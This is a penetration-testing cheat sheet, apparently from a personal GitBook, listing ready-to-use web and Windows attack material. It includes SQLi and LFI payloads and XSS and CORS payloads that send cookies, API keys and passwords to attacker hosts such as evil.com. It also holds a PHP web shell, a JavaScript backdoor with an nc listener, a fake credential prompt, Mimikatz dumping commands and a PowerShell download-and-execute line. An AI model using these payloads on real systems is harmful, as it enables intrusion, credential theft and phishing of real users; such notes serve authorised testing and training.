" & ping m4lwhere.org & rem # REM can be used as inline comments to comment out the rest of a Windows based injection
```

| Character            | Meaning                                                                                                     |
| -------------------- | ----------------------------------------------------------------------------------------------------------- |
| `;`                  | Execute more commands inline                                                                                |
| `\|`                 | Pipe output from prev command to next command                                                               |
| `\|\|`               | Will execute next command **ONLY** if previous was **UNSUCCESSFUL**                                         |
| `&`                  | Send command to a background process                                                                        |
| `&&`                 | Will execute next command **ONLY** if previous was **SUCCESSFUL**                                           |
| `>`                  | Output to file and overwrite                                                                                |
| `>>`                 | Output to file and append                                                                                   |
| `<`                  | Input from a file                                                                                           |
| `#`                  | Comment out the rest of the command, very useful if there's a lot of command left after the injection point |
| `?`                  | Single wildcard, can be used contiguously                                                                   |
| `[1-9]`              | Character set, finds anything in that array                                                                 |
| `{echo,hello,there}` | Bash parameter expansion, will execute `echo hello there`                                                   |
| `` `id` ``           | Command substitution, will execute before rest of command                                                   |
| `$(id)`              | Command substitution                                                                                        |
| `${IFS}`             | Internal Field Separator, used to add spaces w/o spaces                                                     |

#### Tools

Programs such as `commix` make command injection very easy, just keep in mind that it may overwhelm the server.

## SQLi

Super fun, get in the database and dump it. To test SQLi, we will put special characters into the input fields and observe errors returned by the application. Blind SQLi revolves around mostly types of `sleep` timing, concatenation, or some binary truths/falsehoods to be found.

```sql
'
"
')
")
'; -- 
"; --
'); -- 
"); --
' or 1=1; --
' or 1; --
' or 'a'='a    # Quote balancing, expects that theres another "'" at the end
SELECT @@version    # Determine what the database information is
SELECT name, sql FROM sqlite_master    # For sqlite databases
```

#### Injection Points

Just like anything else, we want to FUZZ EVERYTHING. Generally, these injection points are located at the places below:

* GET parameters
* POST data parameters
* HTTP cookies (Think ones that show an access level)
* HTTP User Agent

#### Blind SQLi

Generally occurs when an application has a custom error when db errors occur, which makes identifying and exploiting SQLi more difficult. Concatenating strings for known good values can determine if the SQL database is directing interpreting the values we're providing.

```sql
m4l'/**/'where == m4l' 'where == m4lwhere'; # All of these values are the same according to SQL concatenation
```

Boolean testing can help determine blind SQLi vulnerabilities as well, place a known good value but put a 💯 falsity with it, compare with a known good value and a 💯 truity with it :)

```sql
m4lwhere' AND 1; --     # Test if value is true, if username is valid then good
m4lwhere' AND 0; --     # Test if SQLi is being interpreted, known good username but always false 0
```

#### Verbs

| Verbs    | Meaning                              |
| -------- | ------------------------------------ |
| `SELECT` | Retrieve content from a table        |
| `INSERT` | Add content to a table               |
| `UPDATE` | Modify data on a table               |
| `DELETE` | Remove data from a table             |
| `DROP`   | Drop the WHOLE table                 |
| `UNION`  | Combine data from one or more tables |

#### Query Modifiers

| Modifier        | Meaning                                          |
| --------------- | ------------------------------------------------ |
| `WHERE`         | Needs to meet a certain conditional first        |
| `AND`           | Must meet both conditions                        |
| `OR`            | Must meet at least one condition                 |
| `LIMIT #1,#10`  | Limit rows returned to #10, starting from row #1 |
| `ORDER BY user` | Sort by column `user` when presenting data       |

#### SQL Characters

| Character          | Meaning                                         |
| ------------------ | ----------------------------------------------- |
| `'`, `"`           | String delimiter                                |
| `;`                | End of a SQL statement                          |
| `--`, `#`, `/*`    | Comment characters                              |
| `\|\|`, `+`, `" "` | String concatenation, add two strings together! |
| `+`, `<`, `>`, `=` | General arithmetic                              |
| `()`               | Used to call subqueries or functions            |
| `%00`              | Null byte                                       |

#### Union Attacks

Used to identify and gather information from other tables or DBs to steal information. **Must have the same number of columns in the original vulnerable SQL statement!** We can ask politely to identify how many columns are returned, then work from there. <https://portswigger.net/web-security/sql-injection/union-attacks>

```sql
# Repeat until error! Error returned when too many columns are asked to be sorted.
' ORDER by 1-- 
' ORDER by 2-- 
' ORDER by 3--

# Select NULL values to add to existing data returned
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL-- 

# Example Exploit, unions the intended results with additional info
' UNION SELECT username, password FROM users-- 
```

#### Exploitation and Exfil

Use stacked queries to create new tables with data to be exfiled.&#x20;

```sql
m4lwhere'; CREATE TABLE exfil(data varchar(1000));-- 
LOAD_FILE()    # Used to read a file, MySQL
BULK INSERT    # Used to read a file, SQL Server
# Potential XSS payloads stored in db and presented on site
```

#### Tools

There's a ton of useful tools, `sqlmap` is the most useful for exploitation imo. The `mysql` program is available on most hosts and is easy to connect to and manage.

```sql
# Built-in mysql tools
mysql -u root    # Attempt to connect to db as root user, default is no pass
mysql -u root -p -h 10.10.10.1    # Connect to db at host 10.10.10.1 as root, prompts for password
mysql -u user1 -puser1pass    # Connect to local db. NOTE no space after '-p' for password!
mysqlshow -u theseus -piamkingtheseus    # Again, NO SPACE AFTER -p FOR PASSWORD

# Inside the mysql shell
show databases;          # List all dbs on server  
use wordpress;           # Use a specific db
show tables;             # Show all tables for current db
describe wp_users;       # Show columns for a specific table
select * from wp_users;  # Dump all records from a table
group_concat(user_login) # gather all records from the user_login column as one result
select load_file('/etc/passwd');    # Read a local file
select "<?php phpinfo() ?>" into outfile "/var/www/html/haha.php";    # Write a php file to the web root
```

```bash
# SQLMap Usage and Examples
sqlmap –u "http://website.target/login.jsp" –data 'user=m4lwhere&pass=badpass' # POST request with data
sqlmap -u "http://172.30.78.35/view.php?id=1"    # GET request
sqlmap -u "http://172.30.77.28/view.php?id=1&Search=Submit" -p id --cookie='PHPSESSID:sqdmeggl8nhp7kq63anc56hi77'     # GET request with a PHP session cookie, also explicitly states to inject on the 'id' param
    --user-agent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0'     # Default user agent is sqlmap, not subtle!
    --proxy http://127.0.0.1:8080     # Proxies all connections thru burp or something
    --referer http://m4lwhere.org/signup.php     # Adds the referer header to make requests less suspicious, some WAFs enforce referer for pages
sqlmap -u "http://172.30.78.35/view.php?id=1" --dbs       # Lists all dbs on the host
sqlmap -u "http://172.30.78.35/view.php?id=1" --tables    # Lists all tables inside all dbs on host

# After an injeciton point is found, use sqlmap to explore the db
--dbs    # List all dbs
--tables    # List all tables, does not require a -D database, will list all tables from all dbs without it!
--all    # List all info about the database
-D website --tables    # List all tables from the 'website' db
-D website -T users --columns    # List all columns from the 'users' table in the 'website' db
-D website -T users --dump    # Dump the 'users' table :)
--os-shell    # Attempt to get an interactive shell
--file-read /etc/passwd    # Attempt to read a system file
--file-write     # Create a php webshell or something
--reg-add    # Add a windows reg key (think a powershell startup script)
--reg-del    # Deletes a windows reg key
```

## LFI/RFI

#### LFI Files to Read

If we find we have LFI, we can try to find interesting files. Keep in mind some of these attacks will require the file to be encoded before they are served by PHP. Additionally, we can ask the site to load PHP we provide directly as well.

```
http://example.thm.labs/page.php?file=php://filter/convert.base64-encode/resource=/etc/passwd
http://example.thm.labs/page.php?file=filter/read=string.rot13/resource=/etc/passwd
http://example.thm.labs/page.php?file=data://text/plain;base64,QW9DMyBpcyBmdW4hCg==
```

```bash
# Unix based files of interest
/etc/passwd
/etc/group
/etc/shadow              # Very unlikely but worth a shot
/etc/os-release
/etc/issue
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline

# Windows based files of interest
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf

# Config files
./.htacccess
./.htpasswd
./login.php               # Find the login.php page and which page hosts the database credentials
log files                 # Potential Log poisoning if logs are rendered on the page
wp-config.php             # Wordpress config, contains mysql creds

# PHP Session Storage
c:\Windows\Temp
/tmp/
/var/lib/php5
/var/lib/php/session

# SSH Keys
/home/user/.ssh/id_rsa
/root/.ssh/id_rsa
~/.ssh/id_dsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
~/.ssh/id_rsa
/var/www/.ssh/authorized_keys     # If a www-user account has write permissions, check home folder in /etc/passwd then attempt to drop a key

```

Gathering PHP Session Information

To find the PHP session file name, PHP, by default uses the following naming scheme, sess\_\<SESSION\_ID> where we can find the SESSION\_ID using the browser and verifying cookies sent from the server.

To find the session ID in the browser, you can open the developer tools (SHIFT+CTRL+I), then the Application tab. From the left menu, select Cookies and select the target website. There is a PHPSESSID  and the value. In my case, the value is vc4567al6pq7usm2cufmilkm45. Therefore, the file will be as sess\_vc4567al6pq7usm2cufmilkm45. Finally, we know it is stored in /tmp. Now we can use the LFI to call the session file.

#### <https://github.com/mthbernardes/LFI-Enum>&#x20;

#### Serving RFI

A server/firewall might be blocking outbound HTTP for RFI, but could potentially allow outbound SMB to serve up the malicious page!

```bash
# Basic python
python3 -m http.server 8081
http://127.0.0.1:8081/shell.php

# SMB hosting
[serve up smb hosting with impacket]
\\127.0.0.1\shell.php
```

## Deserialization Attacks

Injection attacks where data stored as bytes is later interpreted as instructions. issue with any object-oriented programming language. Serialized objects may be stored on the client side before they are transferred to the server to be added to the web app.

RCE from deserialization most often occurs from a JVM with a `readObject()` call, where an attacker supplies an object to be used.

Programs such as `ysoserial.jar` can be used to generate our code, creating by hand is a huge list of chained serialized objects.

## References

{% embed url="<https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/README.html>" %}

{% embed url="<https://portswigger.net/web-security/sql-injection/examining-the-database>" %}


# Session Management

Purpose of sessions is to associate an authenticated account with the resources they are specifically allowed to access. HTTP is stateless, which is why cookies are generally used to maintain user sessions.

Sessions are implemented by the server or the web app, potentially could be written by the site developer as well.

#### Identifiers

Used to uniquely identify an authenticated session. These identifiers can be located in the cookies, a custom HTTP header, URL parameters, or a hidden form field.

#### Predictability

Gather enough session IDs to determine if there's a common theme or factor. Generally requires specialized tools, hardware, or source code. Determine if they are a set of hashes or not. Are the sessions sequential?

Gather sessions manually, with a script, or using tools like Burp's Sequencer.

#### Session Fixation

This flaw is when a session ID assigned before authentication continues to be used after authentication. Very potent when combined with a phishing attack.

#### Stealing Sessions

XSS may be able to steal a session ID if the cookie is not set to HttpOnly.&#x20;

## CORS Exploits

We can exploit the `Access-Control-Allow-Origin` headers if they allow arbitrary `Origin` headers in the HTTP request. This can lead to API keys being stolen from users! We can utilize native JS AJAX to steal the information returned by the server.

```markup
<html>
    <title>CORS Exploit POC</title>
    <script>
        var req = new XMLHttpRequest();
        req.onload = reqListener;
        req.open('get','https://api.m4lwhere.org/api/v1/getApiKey',true);
        req.withCredentials = true;
        req.send();
        function reqListener() {
            location='//attacker.com/log?key='+this.responseText;
        };
    </script>
</html>
```

{% embed url="<https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties>" %}

## Web Tokens

JWTs and other tokens are used frequently in web apps. They are used to validate users and session information, and are generally signed with a secret key for integrity. We can either attempt to break the key or ask not to use JWT signing at all.

```bash
flask-unsign -u -c "eyJ1c2VybmFtZSI6IkFub255bW91c19Vc2VyIn0.X2h0pQ.BH7pliC3PH_YFeLJDEc2i_Uc7I4" --wordlist /home/kali/Desktop/rockyou.txt --no-literal-eval --threads 8
hashcat jwt.txt -m 16500 -a 3 ?d?d?d?d
```

{% embed url="<https://jwt.io/#debugger-io>" %}

## References

{% embed url="<https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/README.html>" %}


# Brute Forcing

Sometimes just looking isn't enough

There are several different ways to brute force for a site.

#### Virtual Host Enumeration

```bash
gobuster vhost -u https://m4lwhere.org -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

#### Login Brute Forcing

```bash
hydra -l <username> -P <password list> <ip> http-post-form "/<login url>:username=^USER^&password=^PASS^:F=incorrect" -V
hydra -l admin -P top_100.txt 127.0.0.1 http-post-form "/login.php:username=^USER^&password=^PASS^:F=incorrect" -V
hydra -L users.txt -P passwords.txt m4lwhere.org https-post-form "/login:username=^USER^&password=^PASS^:Invalid"
```

#### Fuzzing

#### CSRF Testing&#x20;

ZAP Anti CSRF Test Form, can be used to determine if the token is vulnerable


# JavaScript & XSS

## DOM

The Document Object Model is a programmatic API led interface for a web browser which creates smooth, responsive web apps without requiring new round-trip visits to a website. **JavaScript** is used to interface directly with the DOM.

## JavaScript Primer

Object oriented programming language, generally used in web applications or on browsers. There are some specific terms which are similar to other types of programming languages.

| Term       | Meaning                                                                                                                                  |
| ---------- | ---------------------------------------------------------------------------------------------------------------------------------------- |
| Function   | Just like any other language function, JS uses `{ }` to determine a function's code.                                                     |
| Properties | Fields of attributes assigned to an object, can be hundreds of them. These properties can be referenced for easy manipulation of objects |
| Methods    | Also known as member functions, belong to objects.                                                                                       |

#### Browser Objects

This is a list of objects that can be referenced for the browser.

```javascript
document.forms                // Find all forms on DOM
document.forms.length         // Find number of forms on DOM
document.forms[0].action      // Read the action of the first form in DOM
document.forms[0].action == "https://m4lwhere.org"    // Change the action of the form
document.cookie               // Lists cookies, will not work for HttpOnly
window.location.hostname      // Hostname of current site
window.location.href          // Full URL of current site
window.location.pathname      // URI only of current site (no hostname!)
window.location.protcol       // List HTTP or HTTPS
document.images               // All images in DOM
document.images.src           // Get the list of image objects in DOM
document.links                // All links in DOM
document.scripts              // All JavaScript scripts in DOM
document.readyState           // If page is loading or not
document.referrer             // Returns URI that linked to current page
document.title                // Title of current DOM
document.write                // Add text or other data to the document
ClipboardEvent.copy           // Event listener for a copy action
ClipboardEvent.paste          // Event listener for a paste action


console.log("haha");          // Prints the value of a command to the console, useful for debugging

encodeURIComponent("<script>alert(1)</script>")    // Encodes the URI for us :)

document.addEventListener('copy', (event) => {      // Creates a event listener which executes the alert when a copy is made
    alert('copy action initiated')
});

const paragraphs = document.querySelectorAll("p");    // Get a number of all paragraphs on the DOM
alert(paragraphs[0].nodeName);
paragraphs[(Math.floor(Math.random()*(paragraphs.length)))].hidden = true;    // Mark a random paragraph as hidden, making it appear as though it was deleted

<h1 style=-moz-transform:rotate(-180deg);>m4lwhere</h1>

// Get a list of all char values in an array named "year"
var codes = []
for (i=0; i < year.length; i++) { codes.push(year.charCodeAt([i]))}

// sum of all elements in an array
var sum = 0;
for (var i = 0; i < codes.length; i++) {sum += codes[i]}

```

## XSS

Start by submitting a unique but benign string to identify where it is stored in the DOM/application. Can be placed in HTML content, tag attribute, or JS code. When cookies are assigned by a website, ***they SHOULD be given the HttpOnly attribute***. This prevents JS from being able to touch the cookie at all. This will show up when the cookie is assigned.

```javascript
// Start by placing a unique and benign string to identify where its stored in application
m4lwhereWuzHere

// HTML Content
<script>alert(1);</script>
<img src="x" onerror=alert(1);/>

// Tag Attributes
<input type="text" name="text_box" value="m4lwhereWuzHere">    // Legitimate Tag Attribute with our unique string
haha" onload="alert(1)    // Our injection
<input type="text" name="text_box" value="haha" onload="alert(1)">    // Our injection placed into Tag Attribute

// Existing JS Code
var lmao="m4lwhereWuzHere";    // Legitimate JS code in app
haha";alert(1);//              // Inject into the JS, then comment out the rest of JS
var lmao="haha";alert(1);//";  // Injected code :)  

// Encode into base64
btoa("alert('base64 used for xss on'+document.domain);");

// Deliver a Base64 encoded payload (useful for special characters)
eval(atob(YWxlcnQoJ2Jhc2U2NCB1c2VkIGZvciB4c3Mgb24nK2RvY3VtZW50LmRvbWFpbik7));


alert(1);
confirm(1);
prompt("Gimme ur password lmao");
<script src="http://m4lwhere.org/haha.js"></script>    // Loading an external script with XSS is trusted by the browser because it's served by the site!

```

### Trigger POST Based Reflected XSS

This creates a button which when clicked will trigger a POST request with data sent to an known vulnerable endpoint. This assumes that there are no CSRF protections to prevent submissions on the vulnerable website. The JavaScript beneath the form will click on the button automatically as well, which forces the POST request to occur without user input.

```markup
<!DOCTYPE html>
<html>
  <head>
    <title>Reflected XSS POST</title>
  </head>
  <body>
    <form method="post" action="https://m4lwhere.org">
      <input type="hidden" name="data" value="your_data">
      <button id="clicker" type="submit">Send POST Request</button>
    </form>
    <script>
      // Get the button element by its ID
      var button = document.getElementById("clicker");
      // Click the button
      button.click();
    </script>
  </body>
</html>

```

### Filter Evasion

Need to figure out what is being filtered, then how we can get around it. Angle brackets `< >` and `<script>` are commonly blocked, so we can target DOM events, encoded payloads, or payloads without these characters.

```javascript
// Filter tests for XSS, used to determine which characters are filtered
<>()='"/;[]{}$--#&                  // Polyglot
'';!--"<XSS>=&{()}                  // Polyglot
JaVAscRIPT:prompt(99)

onerror=alert(1)                    // DOM Event based XSS, no <>!
<img src="ded" onerror=alert(1)>    // HTML based XSS without <script>
<svg onload=alert(1)>               // HTML based using SVG tags
<img SRC=javascript:alert('XSS');   // Ride an img tag 
```

### Password Prompt

Create a fake username and password prompt to trick users into passing their login info. This can be used to fill any auto-login info and be automatically stolen.

```javascript
// Create the fake user input forms
<form><input type="text" name="username" /><input type="password" name="password" /></form>

// Different ways to gather password value from DOM
document.querySelector("[name=password]").value
"adminpass"
document.querySelector("input[name=password]").value
"adminpass"
document.querySelector("[type=password]").value
"adminpass"

// Use jQuery $get method to steal the token
$.get("http://192.168.6.10/stealpass/"+document.querySelector("[name=password]").value)

// All combined together
<form><input type="text" name="username" /><input type="password" name="password" /></form><script>setTimeout(function(){$.get("http://192.168.6.10/stealpass/"+document.querySelector("[name=password]").value)}, 3000)</script>
```

#### Fun Payloads

Here's some good payloads

```javascript
// Tracking cookies and XSS payloads
document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')
<img src=x onerror=this.src="http://10.10.14.5/?c="+document.cookie>
image = new Image(); image.src='http://127.0.0.1?c='+document.cookie+'?d='+document.domain;
<script>document.location='http://10.142.148.X:8080/' + document.cookie</script>

// Download a file to the system
var link = document.createElement('a'); link.href = 'http://evil.com/downloads/bad.exe'; link.download = ''; document.body.appendChild(link); link.click();


// Automatically download a file to the system
<script>
window.onload = function(){
  var a = document.createElement("a");
  a.href = "link/to/file";
  a.download = true;
  a.click();
};
</script>


// Automatically redirect using pure HTML
<html>
  <iframe width=”1” height=”1” frameborder=”0” src=”badfile.exe”></iframe>
  <meta http-equiv=”refresh” content=”0;url=https://www.centripetal.ai” />
</html>


// Interactive JavaScript Backdoor: still needs some work
<svg onload=setInternal(function() {d=document; z=d.createElement("script"); z.src="//127.0.0.1:1234"; d.body.appendChild(z)},0)>
// Run on attacker box
while :; do printf "j$ "; read c; echo $c | nc -lvvp 1234 >/dev/null; done
```

## AJAX

Asynchronous JavaScript and XML, used to add more content dynamically to a page without refreshing the entire page. Main object used to generate this ability is the `XMLHttpRequest` function. A new function, `Fetch` is a newer API with more features.

```javascript
XMLHttpRequest.readyState    // Determines if the client has sent data, downloading, or done
XMLHttpRequest.open()        // Initializes a request and gives a lot of flexibility

```

#### Tools

XSSer, xsssniper, XSScrapy

#### References

<https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction>

## Cookie Catcher

Catching cookies with exploits can be done several ways. Likely the easiest is to send the cookie in a GET request and capture it with `python3 -m http.server`. We can get more detailed however!

<pre class="language-php"><code class="lang-php">&#x3C;html>
&#x3C;?php
file_put_contents("cookies.log", json_encode(array(
    "GET"=>$_GET,
    "POST"=>$_POST,
    "headers"=>getallheaders()))."\n",
    FILE_APPEND);
?>
&#x3C;/html>
<strong>m4lwhere@ubuntu:~/web/cookiecatcher$ php -S 0.0.0.0:8080
</strong>PHP 7.2.24-0ubuntu0.18.04.2 Development Server started at Sun Feb 23 11:45:54 2020
Listening on http://0.0.0.0:8080
Document root is /home/m4lwhere/cookiecatcher
</code></pre>


# SSRF

So many things!

If you've determined you can control server side requests, there are many things to ALWAYS check.

If it's a windows box, you may be able to steal NTLM hashes with `file://///10.1.1.1/smb/file.txt`. This does require FIVE FORWARD SLASHES sometimes!

Check for any other internal service which may be open on localhost only.

```bash
ftp://localhost
http://localhost:8000
http://localhost:8080
```

Try to find internal secrets or instance metadata!

```
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data
/var/run/secrets/kubernetes.io/serviceaccount/token
```

Check for any restricted pages which may show additional information to the server

```bash
http://localhost/.htpasswd
```


# XXE

XML External Entity

XXE can be used to access local files on the host, potential RFI for internal hosts, and RCE in very specific circumstances. By creating custom XML elements, we can create specific entities for us to use.&#x20;

#### Determine if XXE is triggered:

```markup
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe "haha, this is xxe!">]>
<letter>
        <from>0x90skids</from>
        <return_addr>return_addr</return_addr>
        <name>&xxe;</name>
        <addr>addr</addr>
        <message>message</message>
</letter>
```

#### This is for LFI:

```markup
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///tmp/messages_outbound.txt">]>
<letter>
        <from>0x90skids</from>
        <return_addr>return_addr</return_addr>
        <name>&xxe;</name>
        <addr>addr</addr>
        <message>message</message>
</letter>
```

Sometimes PHP or Apache will prevent a php file from being loaded. If this is the case, we can actually have PHP encode the file as Base64 to bypass some controls.

```markup
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```

We can easily submit the xml file to the endpoint using curl's `@` feature for files. This also proxies the connection through an interception proxy to let us peek into the response on the tool.

```bash
curl --proxy 127.0.0.1:8082 -k -d@./test.xml http://m4lwhere.org/post.php
```


# PHP

Here's a PHP stuff

```php
<?php passthru($_GET["cmd"]); ?>
```


# Password Attacks

File hashing should be fast - used to determine integrity

Password hashing should be SLOW - used to increase amount of work for cracking

Be careful not to lock out legitimate users, as this will impact operational needs of the target

Check windows password settings

```bash
net accounts
net accounts /domain
```

Sometimes, we can just ask for creds!

```
# POC from greg.foss[at]owasp.org
# @enigma0x3
# Adapted from http://blog.logrhythm.com/security/do-you-trust-your-computer/
# https://enigma0x3.wordpress.com/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/

function Invoke-Prompt {
    [CmdletBinding()]
    Param (
        [Switch] $ProcCreateWait,
        [String] $MsgText = 'Lost contact with the Domain Controller.',
        [String] $IconType = 'Critical',
        [String] $Title = 'ERROR - 0xA801B720'
    )
    Add-Type -AssemblyName Microsoft.VisualBasic
    Add-Type -assemblyname System.DirectoryServices.AccountManagement
    $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
    
    if($MsgText -and $($MsgText -ne '')){
        $null = [Microsoft.VisualBasic.Interaction]::MsgBox($MsgText, "OKOnly,MsgBoxSetForeground,SystemModal,$IconType", $Title)
    }
    
    $c=[System.Security.Principal.WindowsIdentity]::GetCurrent().name
    $credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your user name and password.", $c, "NetBiosUserName")
    
    if($credential){
           while($DS.ValidateCredentials($c, $credential.GetNetworkCredential().password) -ne $True){
              $credential = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
          }
        "[+] Prompted credentials: -> " + $c + ":" + $credential.GetNetworkCredential().password
    }
    else{
        "[!] User closed credential prompt"
    }
}
```


# Brute Forcing

## Hydra

Extensible and flexible network based password guessing tool

```bash
hydra -u root -P passwords.txt ssh://m4lwhere.org             # Single user with a list of passwords
hydra -U users.txt -p P@ssw0rd1 smb://files.m4lwhere.org      # List of users with one password
hydra -u admin -p passw0rd -M windowsHosts.txt smb            # One username and password across a list of Windows hosts on SMB
hydra -C creds.txt -M windowsHosts.txt smb                    # Used previously gathered creds in user:pass format across a list of Win hosts
```

Can trim wordlists using the `pw-inspector` to reduce invalid passwords based on known password policies.

```bash
-i file
-o file
-m min password length
-M max password length
-c [criteria] min criteria for each password
    -l [lowercase]
    -u [uppercase]
    -n [numbers]
    -p [printable non l,u,n (!@#$%^&)]
    -s [special chars, including non-printable]
```


# Mimikatz

Used to interact with the LSASS.exe process to extract secrets from a Windows machine. Requires SYSTEM level access.

```
# Dump the SAM
lsadump::sam

# Read plaintext passwords
sekurlsa::logonpasswords

# Dump certificates store, even those marked as non-exportable
crypto::certificates /systemstore:local_machine

# Gather the Primary Refresh Token (cloud account)
sekurlsa::cloudap
dpapi::cloudapkd

# TODO
Add offline SAM dumps and LSASS extraction
```


# Password Cracking

Generate Salted Passwords in the terminal

```bash
mkpasswd --method=md5crypt haha       # Creates a salted md5crpyt hash of 'haha'
mkpasswd --method=bcrypt ohboy        # Creates a salted bcrpyt hash of 'ohboy'

mkpasswd --method=help                # List all available methods 
Available methods:
yescrypt        Yescrypt
gost-yescrypt   GOST Yescrypt
scrypt          scrypt
bcrypt          bcrypt
bcrypt-a        bcrypt (obsolete $2a$ version)
sha512crypt     SHA-512
sha256crypt     SHA-256
sunmd5          SunMD5
md5crypt        MD5
bsdicrypt       BSDI extended DES-based crypt(3)
descrypt        standard 56 bit DES-based crypt(3)
nt              NT-Hash
```


# Hash Extraction

Pcredz cna be used to extract credentials from a pcap


# Wordlist Generation

Generate with `cewl` to scrape words from a site or page, also has specific parameters to keep special characters and numbers.

Pay close attention to a specific pattern identified through previous challenges. What the the local sports teams? Known high schools or other popular items in the local area?

Add mangling rules to put special characters at the front and end of the word.

`.\hashcat.exe -a 0 -m 500 -O -w 4 -r .\rules\dive.rule c5.hashes`

### Tips and Tricks for Custom Wordlists

Create all as lowercase, then can move to toggle capitalization with rules

* [ ] Identify at least three separate wordlists with theme
* [ ] Modify results
  * [ ] Create all lowercase&#x20;
  * [ ] Remove all spaces
  * [ ] Remove special-encoded characters
  * [ ] Create pluralization of all words
  * [ ] Run through toggle ruleset

Run the following in lines

* [ ] Worlists:
  * [ ] Rockyou
  * [ ] Rockyou + ruleset (small ruleset)
    * [ ] Best64
    * [ ] Toggle
  * [ ] Weakpass
* [ ] Masking attacks
  * [ ] wordlist + ?a?a (incremental)
  * [ ] ?a?a + wordlist (incremental)
  * [ ] ?a + wordlist + ?a
  * [ ] wordlist + ?d?d?d
  * [ ] ?d?d?d + wordlist

### Create hashcat wordlist

We can create wordlists using the hashcat rules to accelerate some analysis or use to push on some additional attack methods

```bash
 .\hashcat.exe  D:\ctfs\fruits.txt -r .\rules\d3ad0ne.rule --stdout > deadlist.txt
```


# Databases


# SQL

## See SQLi in Injection

{% content-ref url="/pages/-MUV0beIeN2krg1QtYUh" %}
[Injection/LFI](/offensive/web-exploits/injection)
{% endcontent-ref %}


# Mongodb


# Microsoft Windows Exploits


# Enumeration

Enumerate user accounts and information

```bash
wmic useraccount list brief
net accounts
net accounts /domain
```


# Powershell

### Basics

{% hint style="info" %}
Use `Get-Member` to list all properties and methods of an object!
{% endhint %}

```bash
get-command set*    # Searches for all cmdlets that start with "set"
alias               # List all aliases in shell
Get-ChildItem       # Same as ls, dir, and gci
Copy-Item           # Same as cp, copy, and cpi
Move-Item           # Same as mv, move, and mi
Select-String       # Same as sls and similar to grep
Get-Help            # Get help!!
Get-Content         # Same as cat, type, gc
Get-Process         # Same as ps, gps
Get-Location        # Same as pwd, gl
Get-Member          # Get properties and methods of objects - USEFUL!!!!
ps | format-list -property name, id, starttime    # Formatted list of process properties
ls env:             # List all PS environment variables
ls variable:        # List all PS variables
```

### Getting Help

```bash
help gci                # displays help for Get-ChildItem
help gci -detailed      # Very verbose help information
help gci -examples      # Examples on how to USE it!!!
help gci -full          # Pretty much everything it has about it
Remove-Item *.* -WhatIf    # Explains what WOULD happen, but not actually do it
```

### Pipeline Objects

Used to help automate between operations in a pipe. The `%` is an alias for `ForEach-Object` command. The current object in an array of objects is referred to as `$_`. Pipeline objects can be filtered with the `?` alias for `Where-Object`. Command below will write out all names and PIDs of processes returned by `ps` alias.

```bash
ps | gm        # Find all properties and methods first
ps | % {write-host "name is" $_.name " and pid is " $_.ID}
ps | ? {write-host "Running PID name is " $_.status -eq "running"}

# Counting loops to move between two sets of numbers
1..10 | % {echo $_}
1..255 | % {ping -n 1 192.168.0.$_ | select-string ttl}
```

### Enumerate Local Users

Enumerate the local users on the machine and print out important information about their accounts.

```powershell
Get-LocalUser | Select-Object Name, LastLogon, PasswordLastSet, Enabled, PasswordRequired, PrincipalSource, Description | Format-Table -AutoSize
```

### Enumerate AD Users

We can import the signed Microsoft ActiveDirectory module into PowerShell directly in memory to enumerate AD users and systems. This leverages the signed module kept at <https://github.com/samratashok/ADModule>. After importing we have access to all AD commands in PowerShell.

```powershell
iex (new-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1');Import-ActiveDirectory
```

### Searching

Looking for files and directories.

```bash
# Search the entire C:\ dir for anything with "password" in the filename. Put stderr in null where it belongs
gci -recurse C:\ password 2>$null | % {echo $_.fullname}

# Select-string works similar to grep
select-string -path C:\Users\*.txt -pattern password

# Put both together! Look in each file for the string "password"
gci -recurse C:\ | % {select-string -path $_ -pattern password} 2>$null
```

### Navigate Registry

```bash
# Can navigate Reg just like the file system using tab completion
cd HKLM:\
```

Launch Browsers and reach a specific page

```
"C:\Program Files\Internet Explorer\iexplore.exe" m4lwhere.org
"C:\Program Files\Mozilla Firefox\firefox.exe" m4lwhere.org
```

### Networking

Quick and dirty way to check if a port is open on a remote computer

```
New-Object System.Net.Sockets.TCPClient –Argument "10.0.0.1","389"
```

### Speaking to the Users!

This is a hilarious way to download a random cat fact and have it speak to the user through the speaker.

```
Add-Type -AssemblyName System.Speech
$SpeechSynth = New-Object System.Speech.Synthesis.SpeechSynthesizer
$SpeechSynth.SelectVoice("Microsoft Zira Desktop")
$Browser = New-Object System.Net.WebClient
$Browser.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
